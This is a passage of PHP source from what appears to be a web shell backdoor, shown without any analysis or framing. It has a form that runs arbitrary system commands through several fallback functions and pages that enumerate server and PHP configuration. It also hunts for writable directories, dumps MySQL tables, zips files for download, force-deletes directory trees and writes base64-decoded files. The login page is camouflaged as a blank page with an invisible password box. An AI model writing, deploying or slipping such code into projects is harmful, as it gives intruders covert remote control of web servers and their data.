2595 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2596
2597 formhead(array('title'=>'Execute Program'));
2598
2599 makehide('action','shell');
2600
2601 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2602
2603 p('<p>');
2604
2605 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2606
2607 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2608
2609 p('</p>');
2610
2611 formfoot();
2612
2613 }
2614
2615 formhead(array('title'=>'Execute Command'));
2616
2617 makehide('action','shell');
2618
2619 if (IS_WIN && IS_COM) {
2620
2621 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2622
2623 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2624
2625 }
2626
2627 p('<p>');
2628
2629 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2630
2631 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2632
2633 p('</p>');
2634
2635 formfoot();
2636
2637
2638
2639 if ($command) {
2640
2641 p('<hr width="100%" noshade /><pre>');
2642
2643 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2644
2645 $wsh = new COM('WScript.shell');
2646
2647 $exec = $wsh->exec('cmd.exe /c '.$command);
2648
2649 $stdout = $exec->StdOut();
2650
2651 $stroutput = $stdout->ReadAll();
2652
2653 echo $stroutput;
2654
2655 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2656
2657 $descriptorspec = array(
2658
2659 0 => array('pipe', 'r'),
2660
2661 1 => array('pipe', 'w'),
2662
2663 2 => array('pipe', 'w')
2664
2665 );
2666
2667 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2668
2669 if (is_resource($process)) {
2670
2671 fwrite($pipes[0], $command."\r\n");
2672
2673 fwrite($pipes[0], "exit\r\n");
2674
2675 fclose($pipes[0]);
2676
2677 while (!feof($pipes[1])) {
2678
2679 echo fgets($pipes[1], 1024);
2680
2681 }
2682
2683 fclose($pipes[1]);
2684
2685 while (!feof($pipes[2])) {
2686
2687 echo fgets($pipes[2], 1024);
2688
2689 }
2690
2691 fclose($pipes[2]);
2692
2693 proc_close($process);
2694
2695 }
2696
2697 } else {
2698
2699 echo(execute($command));
2700
2701 }
2702
2703 p('</pre>');
2704
2705 }
2706
2707}//end shell
2708
2709
2710
2711elseif ($action == 'phpenv') {
2712
2713 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2714
2715 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2716
2717 !$dis_func && $dis_func = 'No';
2718
2719 $info = array(
2720
2721 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2722
2723 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2724
2725 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2726
2727 4 => array('Server OS',PHP_OS),
2728
2729 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2730
2731 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2732
2733 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2734
2735 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2736
2737 9 => array('The file path',__FILE__),
2738
2739
2740
2741 10 => array('PHP Version',PHP_VERSION),
2742
2743 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2744
2745 12 => array('Safe Mode',getcfg('safe_mode')),
2746
2747 13 => array('Administrator',$adminmail),
2748
2749 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2750
2751 15 => array('enable_dl',getcfg('enable_dl')),
2752
2753 16 => array('display_errors',getcfg('display_errors')),
2754
2755 17 => array('register_globals',getcfg('register_globals')),
2756
2757 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2758
2759 19 => array('memory_limit',getcfg('memory_limit')),
2760
2761 20 => array('post_max_size',getcfg('post_max_size')),
2762
2763 21 => array('upload_max_filesize',$upsize),
2764
2765 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2766
2767 23 => array('disable_functions',$dis_func),
2768
2769 );
2770
2771
2772
2773 if($phpvarname) {
2774
2775 m($phpvarname .' : '.getcfg($phpvarname));
2776
2777 }
2778
2779
2780
2781 formhead(array('title'=>'Server environment'));
2782
2783 makehide('action','phpenv');
2784
2785 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2786
2787 formfooter();
2788
2789
2790
2791 $hp = array(0=> 'Server', 1=> 'PHP');
2792
2793 for($a=0;$a<2;$a++) {
2794
2795 p('<h2>'.$hp[$a].' »</h2>');
2796
2797 p('<ul class="info">');
2798
2799 if ($a==0) {
2800
2801 for($i=1;$i<=9;$i++) {
2802
2803 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2804
2805 }
2806
2807 } elseif ($a == 1) {
2808
2809 for($i=10;$i<=23;$i++) {
2810
2811 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2812
2813 }
2814
2815 }
2816
2817 p('</ul>');
2818
2819 }
2820
2821}//end phpenv
2822
2823
2824
2825else {
2826
2827 m('Undefined Action');
2828
2829}
2830
2831
2832
2833?>
2834
2835</td></tr></table>
2836</body>
2837
2838</html>
2839
2840
2841
2842<?php
2843function m($msg) {
2844
2845 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2846
2847 echo $msg;
2848
2849 echo '</div>';
2850
2851}
2852
2853function scookie($key, $value, $life = 0, $prefix = 1) {
2854
2855 global $admin, $timestamp, $_SERVER;
2856
2857 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2858
2859 $life = $life ? $life : $admin['cookielife'];
2860
2861 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2862
2863 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2864
2865}
2866
2867function multi($num, $perpage, $curpage, $tablename) {
2868
2869 $multipage = '';
2870
2871 if($num > $perpage) {
2872
2873 $page = 10;
2874
2875 $offset = 5;
2876
2877 $pages = @ceil($num / $perpage);
2878
2879 if($page > $pages) {
2880
2881 $from = 1;
2882
2883 $to = $pages;
2884
2885 } else {
2886
2887 $from = $curpage - $offset;
2888
2889 $to = $curpage + $page - $offset - 1;
2890
2891 if($from < 1) {
2892
2893 $to = $curpage + 1 - $from;
2894
2895 $from = 1;
2896
2897 if(($to - $from) < $page && ($to - $from) < $pages) {
2898
2899 $to = $page;
2900
2901 }
2902
2903 } elseif($to > $pages) {
2904
2905 $from = $curpage - $pages + $to;
2906
2907 $to = $pages;
2908
2909 if(($to - $from) < $page && ($to - $from) < $pages) {
2910
2911 $from = $pages - $page + 1;
2912
2913 }
2914
2915 }
2916
2917 }
2918
2919 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2920
2921 for($i = $from; $i <= $to; $i++) {
2922
2923 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2924
2925 }
2926
2927 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2928
2929 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2930
2931 }
2932
2933 return $multipage;
2934
2935}
2936
2937// Login page
2938
2939function loginpage() {
2940
2941?>
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021<html>
3022<head>
3023<style type="text/css">
3024 input { margin:0;background-color:#fff;border:1px solid #fff; }
3025</style>
3026</head>
3027<center>
3028<form method="POST" action="">
3029<span style="font:10pt tahoma;"></span><input name="password" type="password" size="20">
3030<input type="hidden" name="doing" value="login">
3031</form>
3032</center>
3033</html>
3034<?php
3035
3036 exit;
3037}
3038function execute($cfe) {
3039
3040 $res = '';
3041
3042 if ($cfe) {
3043
3044 if(function_exists('exec')) {
3045
3046 @exec($cfe,$res);
3047
3048 $res = join("\n",$res);
3049
3050 } elseif(function_exists('shell_exec')) {
3051
3052 $res = @shell_exec($cfe);
3053
3054 } elseif(function_exists('system')) {
3055
3056 @ob_start();
3057
3058 @system($cfe);
3059
3060 $res = @ob_get_contents();
3061
3062 @ob_end_clean();
3063
3064 } elseif(function_exists('passthru')) {
3065
3066 @ob_start();
3067
3068 @passthru($cfe);
3069
3070 $res = @ob_get_contents();
3071
3072 @ob_end_clean();
3073
3074 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3075
3076 $res = '';
3077
3078 while(!@feof($f)) {
3079
3080 $res .= @fread($f,1024);
3081
3082 }
3083
3084 @pclose($f);
3085
3086 }
3087
3088 }
3089
3090 return $res;
3091
3092}
3093
3094function which($pr) {
3095
3096 $path = execute("which $pr");
3097
3098 return ($path ? $path : $pr);
3099
3100}
3101
3102
3103
3104function cf($fname,$text){
3105
3106 if($fp=@fopen($fname,'w')) {
3107
3108 @fputs($fp,@base64_decode($text));
3109
3110 @fclose($fp);
3111
3112 }
3113
3114}
3115
3116
3117
3118// Debug
3119
3120function debuginfo() {
3121
3122 global $starttime;
3123
3124 $mtime = explode(' ', microtime());
3125
3126 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3127
3128 echo 'Processed in '.$totaltime.' second(s)';
3129
3130}
3131
3132
3133
3134// Function connect database
3135
3136function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3137
3138 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3139
3140 p('<h2>Can not connect to MySQL server</h2>');
3141
3142 exit;
3143
3144 }
3145
3146 if($link && $dbname) {
3147
3148 if (!@mysql_select_db($dbname, $link)) {
3149
3150 p('<h2>Database selected has error</h2>');
3151
3152 exit;
3153
3154 }
3155
3156 }
3157
3158 if($link && mysql_get_server_info() > '4.1') {
3159
3160 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
3161
3162 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3163
3164 }
3165
3166 }
3167
3168 return $link;
3169
3170}
3171
3172
3173
3174// Array strip
3175
3176function s_array(&$array) {
3177
3178 if (is_array($array)) {
3179
3180 foreach ($array as $k => $v) {
3181
3182 $array[$k] = s_array($v);
3183
3184 }
3185
3186 } else if (is_string($array)) {
3187
3188 $array = stripslashes($array);
3189
3190 }
3191
3192 return $array;
3193
3194}
3195
3196
3197
3198// HTML Strip
3199
3200function html_clean($content) {
3201
3202 $content = htmlspecialchars($content);
3203
3204 $content = str_replace("\n", "<br />", $content);
3205
3206 $content = str_replace(" ", " ", $content);
3207
3208 $content = str_replace("\t", " ", $content);
3209
3210 return $content;
3211
3212}
3213
3214
3215
3216// Chmod
3217
3218function getChmod($filepath){
3219
3220 return substr(base_convert(@fileperms($filepath),10,8),-4);
3221
3222}
3223
3224
3225
3226function getPerms($filepath) {
3227
3228 $mode = @fileperms($filepath);
3229
3230 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3231
3232 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3233
3234 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3235
3236 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3237
3238 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3239
3240 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3241
3242 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3243
3244 else {$type = '?';}
3245
3246
3247
3248 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3249
3250 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3251
3252 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3253
3254 $group['read'] = ($mode & 00040) ? 'r' : '-';
3255
3256 $group['write'] = ($mode & 00020) ? 'w' : '-';
3257
3258 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3259
3260 $world['read'] = ($mode & 00004) ? 'r' : '-';
3261
3262 $world['write'] = ($mode & 00002) ? 'w' : '-';
3263
3264 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3265
3266
3267
3268 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3269
3270 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3271
3272 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3273
3274
3275
3276 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3277
3278}
3279
3280
3281
3282function getUser($filepath) {
3283
3284 if (function_exists('posix_getpwuid')) {
3285
3286 $array = @posix_getpwuid(@fileowner($filepath));
3287
3288 if ($array && is_array($array)) {
3289
3290 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3291
3292 }
3293
3294 }
3295
3296 return '';
3297
3298}
3299
3300
3301
3302// Delete dir
3303
3304function deltree($deldir) {
3305
3306 $mydir=@dir($deldir);
3307
3308 while($file=$mydir->read()) {
3309
3310 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3311
3312 @chmod($deldir.'/'.$file,0777);
3313
3314 deltree($deldir.'/'.$file);
3315
3316 }
3317
3318 if (is_file($deldir.'/'.$file)) {
3319
3320 @chmod($deldir.'/'.$file,0777);
3321
3322 @unlink($deldir.'/'.$file);
3323
3324 }
3325
3326 }
3327
3328 $mydir->close();
3329
3330 @chmod($deldir,0777);
3331
3332 return @rmdir($deldir) ? 1 : 0;
3333
3334}
3335
3336
3337
3338// Background
3339
3340function bg() {
3341
3342 global $bgc;
3343
3344 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3345
3346}
3347
3348
3349
3350// Get path
3351
3352function getPath($scriptpath, $nowpath) {
3353
3354 if ($nowpath == '.') {
3355
3356 $nowpath = $scriptpath;
3357
3358 }
3359
3360 $nowpath = str_replace('\\', '/', $nowpath);
3361
3362 $nowpath = str_replace('//', '/', $nowpath);
3363
3364 if (substr($nowpath, -1) != '/') {
3365
3366 $nowpath = $nowpath.'/';
3367
3368 }
3369
3370 return $nowpath;
3371
3372}
3373
3374
3375
3376// Get up path
3377
3378function getUpPath($nowpath) {
3379
3380 $pathdb = explode('/', $nowpath);
3381
3382 $num = count($pathdb);
3383
3384 if ($num > 2) {
3385
3386 unset($pathdb[$num-1],$pathdb[$num-2]);
3387
3388 }
3389
3390 $uppath = implode('/', $pathdb).'/';
3391
3392 $uppath = str_replace('//', '/', $uppath);
3393
3394 return $uppath;
3395
3396}
3397
3398
3399
3400// Config
3401
3402function getcfg($varname) {
3403
3404 $result = get_cfg_var($varname);
3405
3406 if ($result == 0) {
3407
3408 return 'No';
3409
3410 } elseif ($result == 1) {
3411
3412 return 'Yes';
3413
3414 } else {
3415
3416 return $result;
3417
3418 }
3419
3420}
3421
3422
3423
3424// Function name
3425
3426function getfun($funName) {
3427
3428 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3429
3430}
3431
3432
3433
3434function GetList($dir){
3435
3436 global $dirdata,$j,$nowpath;
3437
3438 !$j && $j=1;
3439
3440 if ($dh = opendir($dir)) {
3441
3442 while ($file = readdir($dh)) {
3443
3444 $f=str_replace('//','/',$dir.'/'.$file);
3445
3446 if($file!='.' && $file!='..' && is_dir($f)){
3447
3448 if (is_writable($f)) {
3449
3450 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3451
3452 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3453
3454 $dirdata[$j]['dirchmod']=getChmod($f);
3455
3456 $dirdata[$j]['dirperm']=getPerms($f);
3457
3458 $dirdata[$j]['dirlink']=ue($dir);
3459
3460 $dirdata[$j]['server_link']=$f;
3461
3462 $dirdata[$j]['client_link']=ue($f);
3463
3464 $j++;
3465
3466 }
3467
3468 GetList($f);
3469
3470 }
3471
3472 }
3473
3474 closedir($dh);
3475
3476 clearstatcache();
3477
3478 return $dirdata;
3479
3480 } else {
3481
3482 return array();
3483
3484 }
3485
3486}
3487
3488
3489
3490function qy($sql) {
3491
3492 //echo $sql.'<br>';
3493
3494 $res = $error = '';
3495
3496 if(!$res = @mysql_query($sql)) {
3497
3498 return 0;
3499
3500 } else if(is_resource($res)) {
3501
3502 return 1;
3503
3504 } else {
3505
3506 return 2;
3507
3508 }
3509
3510 return 0;
3511
3512}
3513
3514
3515
3516function q($sql) {
3517
3518 return @mysql_query($sql);
3519
3520}
3521
3522
3523
3524function fr($qy){
3525
3526 mysql_free_result($qy);
3527
3528}
3529
3530
3531
3532function sizecount($size) {
3533
3534 if($size > 1073741824) {
3535
3536 $size = round($size / 1073741824 * 100) / 100 . ' G';
3537
3538 } elseif($size > 1048576) {
3539
3540 $size = round($size / 1048576 * 100) / 100 . ' M';
3541
3542 } elseif($size > 1024) {
3543
3544 $size = round($size / 1024 * 100) / 100 . ' K';
3545
3546 } else {
3547
3548 $size = $size . ' B';
3549
3550 }
3551
3552 return $size;
3553
3554}
3555
3556
3557
3558// Zip
3559
3560class PHPZip{
3561
3562 var $out='';
3563
3564 function PHPZip($dir) {
3565
3566 if (@function_exists('gzcompress')) {
3567
3568 $curdir = getcwd();
3569
3570 if (is_array($dir)) $filelist = $dir;
3571
3572 else{
3573
3574 $filelist=$this -> GetFileList($dir);//File list
3575
3576 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3577
3578 }
3579
3580 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3581
3582 else chdir($curdir);
3583
3584 if (count($filelist)>0){
3585
3586 foreach($filelist as $filename){
3587
3588 if (is_file($filename)){
3589
3590 $fd = fopen ($filename, 'r');
3591
3592 $content = @fread ($fd, filesize($filename));
3593
3594 fclose ($fd);
3595
3596 if (is_array($dir)) $filename = basename($filename);
3597
3598 $this -> addFile($content, $filename);
3599
3600 }
3601
3602 }
3603
3604 $this->out = $this -> file();
3605
3606 chdir($curdir);
3607
3608 }
3609
3610 return 1;
3611
3612 }
3613
3614 else return 0;
3615
3616 }
3617
3618
3619
3620 // Show file list
3621
3622 function GetFileList($dir){
3623
3624 static $a;
3625
3626 if (is_dir($dir)) {
3627
3628 if ($dh = opendir($dir)) {
3629
3630 while ($file = readdir($dh)) {
3631
3632 if($file!='.' && $file!='..'){
3633
3634 $f=$dir .'/'. $file;
3635
3636 if(is_dir($f)) $this->GetFileList($f);
3637
3638 $a[]=$f;
3639
3640 }
3641
3642 }
3643
3644 closedir($dh);
3645
3646 }
3647
3648 }
3649
3650 return $a;
3651
3652 }
3653
3654
3655
3656 var $datasec = array();
3657
3658 var $ctrl_dir = array();
3659
3660 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3661
3662 var $old_offset = 0;
3663
3664
3665
3666 function unix2DosTime($unixtime = 0) {
3667
3668 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3669
3670 if ($timearray['year'] < 1980) {
3671
3672 $timearray['year'] = 1980;
3673
3674 $timearray['mon'] = 1;
3675
3676 $timearray['mday'] = 1;
3677
3678 $timearray['hours'] = 0;
3679
3680 $timearray['minutes'] = 0;
3681
3682 $timearray['seconds'] = 0;
3683
3684 } // end if
3685
3686 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3687
3688 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3689
3690 }
3691
3692
3693
3694 function addFile($data, $name, $time = 0) {
3695
3696 $name = str_replace('\\', '/', $name);
3697
3698
3699
3700 $dtime = dechex($this->unix2DosTime($time));
3701
3702 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3703
3704 . '\x' . $dtime[4] . $dtime[5]
3705
3706 . '\x' . $dtime[2] . $dtime[3]
3707
3708 . '\x' . $dtime[0] . $dtime[1];
3709
3710 eval('$hexdtime = "' . $hexdtime . '";');
3711
3712 $fr = "\x50\x4b\x03\x04";
3713
3714 $fr .= "\x14\x00";
3715
3716 $fr .= "\x00\x00";
3717
3718 $fr .= "\x08\x00";
3719
3720 $fr .= $hexdtime;
3721
3722
3723
3724 $unc_len = strlen($data);
3725
3726 $crc = crc32($data);
3727
3728 $zdata = gzcompress($data);
3729
3730 $c_len = strlen($zdata);
3731
3732 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3733
3734 $fr .= pack('V', $crc);
3735
3736 $fr .= pack('V', $c_len);
3737
3738 $fr .= pack('V', $unc_len);
3739
3740 $fr .= pack('v', strlen($name));
3741
3742 $fr .= pack('v', 0);
3743
3744 $fr .= $name;
3745
3746 $fr .= $zdata;
3747
3748 $fr .= pack('V', $crc);
3749
3750 $fr .= pack('V', $c_len);
3751
3752 $fr .= pack('V', $unc_len);
3753
3754
3755
3756 $this -> datasec[] = $fr;
3757
3758 $new_offset = strlen(implode('', $this->datasec));
3759
3760
3761
3762 $cdrec = "\x50\x4b\x01\x02";
3763
3764 $cdrec .= "\x00\x00";
3765
3766 $cdrec .= "\x14\x00";
3767
3768 $cdrec .= "\x00\x00";
3769
3770 $cdrec .= "\x08\x00";
3771
3772 $cdrec .= $hexdtime;
3773
3774 $cdrec .= pack('V', $crc);
3775
3776 $cdrec .= pack('V', $c_len);
3777
3778 $cdrec .= pack('V', $unc_len);
3779
3780 $cdrec .= pack('v', strlen($name) );
3781
3782 $cdrec .= pack('v', 0 );
3783
3784 $cdrec .= pack('v', 0 );
3785
3786 $cdrec .= pack('v', 0 );
3787
3788 $cdrec .= pack('v', 0 );
3789
3790 $cdrec .= pack('V', 32 );
3791
3792 $cdrec .= pack('V', $this -> old_offset );
3793
3794 $this -> old_offset = $new_offset;
3795
3796 $cdrec .= $name;
3797
3798
3799
3800 $this -> ctrl_dir[] = $cdrec;
3801
3802 }
3803
3804
3805
3806 function file() {
3807
3808 $data = implode('', $this -> datasec);
3809
3810 $ctrldir = implode('', $this -> ctrl_dir);
3811
3812 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3813
3814 }
3815
3816}
3817
3818
3819
3820// Dump mysql
3821
3822function sqldumptable($table, $fp=0) {
3823
3824 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3825
3826 $tabledump .= "CREATE TABLE $table (\n";
3827
3828
3829
3830 $firstfield=1;
3831
3832
3833
3834 $fields = q("SHOW FIELDS FROM $table");
3835
3836 while ($field = mysql_fetch_array($fields)) {
3837
3838 if (!$firstfield) {
3839
3840 $tabledump .= ",\n";
3841
3842 } else {
3843
3844 $firstfield=0;
3845
3846 }
3847
3848 $tabledump .= " $field[Field] $field[Type]";
3849
3850 if (!empty($field["Default"])) {
3851
3852 $tabledump .= " DEFAULT '$field[Default]'";
3853
3854 }
3855
3856 if ($field['Null'] != "YES") {
3857
3858 $tabledump .= " NOT NULL";
3859
3860 }
3861
3862 if ($field['Extra'] != "") {
3863
3864 $tabledump .= " $field[Extra]";
3865
3866 }
3867
3868 }
3869
3870 fr($fields);
3871
3872
3873
3874 $keys = q("SHOW KEYS FROM $table");
3875
3876 while ($key = mysql_fetch_array($keys)) {
3877
3878 $kname=$key['Key_name'];
3879
3880 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3881
3882 $kname="UNIQUE|$kname";
3883
3884 }
3885
3886 if(!is_array($index[$kname])) {
3887
3888 $index[$kname] = array();
3889
3890 }
3891
3892 $index[$kname][] = $key['Column_name'];
3893
3894 }
3895
3896 fr($keys);
3897
3898
3899
3900 while(list($kname, $columns) = @each($index)) {
3901
3902 $tabledump .= ",\n";
3903
3904 $colnames=implode($columns,",");
3905
3906
3907
3908 if ($kname == "PRIMARY") {
3909
3910 $tabledump .= " PRIMARY KEY ($colnames)";
3911
3912 } else {
3913
3914 if (substr($kname,0,6) == "UNIQUE") {
3915
3916 $kname=substr($kname,7);
3917
3918 }
3919
3920 $tabledump .= " KEY $kname ($colnames)";
3921
3922 }
3923
3924 }
3925
3926
3927
3928 $tabledump .= "\n);\n\n";
3929
3930 if ($fp) {
3931
3932 fwrite($fp,$tabledump);
3933
3934 } else {
3935
3936 echo $tabledump;
3937
3938 }
3939
3940
3941
3942 $rows = q("SELECT * FROM $table");
3943
3944 $numfields = mysql_num_fields($rows);
3945
3946 while ($row = mysql_fetch_array($rows)) {
3947
3948 $tabledump = "INSERT INTO $table VALUES(";
3949
3950
3951
3952 $fieldcounter=-1;
3953
3954 $firstfield=1;
3955
3956 while (++$fieldcounter<$numfields) {
3957
3958 if (!$firstfield) {
3959
3960 $tabledump.=", ";
3961
3962 } else {
3963
3964 $firstfield=0;
3965
3966 }
3967
3968
3969
3970 if (!isset($row[$fieldcounter])) {
3971
3972 $tabledump .= "NULL";
3973
3974 } else {
3975
3976 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3977
3978 }
3979
3980 }
3981
3982
3983
3984 $tabledump .= ");\n";
3985
3986
3987
3988 if ($fp) {
3989
3990 fwrite($fp,$tabledump);
3991
3992 } else {
3993
3994 echo $tabledump;
3995
3996 }
3997
3998 }
3999
4000 fr($rows);
4001
4002 if ($fp) {
4003
4004 fwrite($fp,"\n");
4005
4006 } else {
4007
4008 echo "\n";
4009
4010 }
4011
4012}
4013
4014
4015
4016function ue($str){
4017
4018 return urlencode($str);
4019
4020}
4021
4022
4023
4024function p($str){
4025
4026 echo $str."\n";
4027
4028}
4029
4030
4031
4032function tbhead() {
4033
4034 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
4035
4036}
4037
4038function tbfoot(){
4039
4040 p('</table>');
4041
4042}
4043
4044
4045
4046function makehide($name,$value=''){
4047
4048 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
4049
4050}
4051
4052
4053
4054function makeinput($arg = array()){
4055
4056 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
4057
4058 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
4059
4060 !$arg['type'] && $arg['type'] = 'text';
4061
4062 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4063
4064 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
4065
4066 if ($arg['newline']) {
4067
4068 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
4069
4070 } else {
4071
4072 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
4073
4074 }
4075
4076}
4077
4078
4079
4080function makeselect($arg = array()){
4081
4082 if ($arg['onchange']) {
4083
4084 $onchange = 'onchange="'.$arg['onchange'].'"';
4085
4086 }
4087
4088 $arg['title'] = $arg['title'] ? $arg['title'] : '';
4089
4090 if ($arg['newline']) p('<p>');
4091
4092 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
4093
4094 if (is_array($arg['option'])) {
4095
4096 foreach ($arg['option'] as $key=>$value) {
4097
4098 if ($arg['selected']==$key) {
4099
4100 p("<option value=\"$key\" selected>$value</option>");
4101
4102 } else {
4103
4104 p("<option value=\"$key\">$value</option>");
4105
4106 }
4107
4108 }
4109
4110 }
4111
4112 p("</select>");
4113
4114 if ($arg['newline']) p('</p>');
4115
4116}
4117
4118function formhead($arg = array()) {
4119
4120 !$arg['method'] && $arg['method'] = 'post';
4121
4122 !$arg['action'] && $arg['action'] = $self;
4123
4124 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
4125
4126 !$arg['name'] && $arg['name'] = 'form1';
4127
4128 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
4129
4130 if ($arg['title']) {
4131
4132 p('<h2>'.$arg['title'].' »</h2>');
4133
4134 }
4135
4136}
4137
4138
4139
4140function maketext($arg = array()){
4141
4142 !$arg['cols'] && $arg['cols'] = 100;
4143
4144 !$arg['rows'] && $arg['rows'] = 25;
4145
4146 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4147
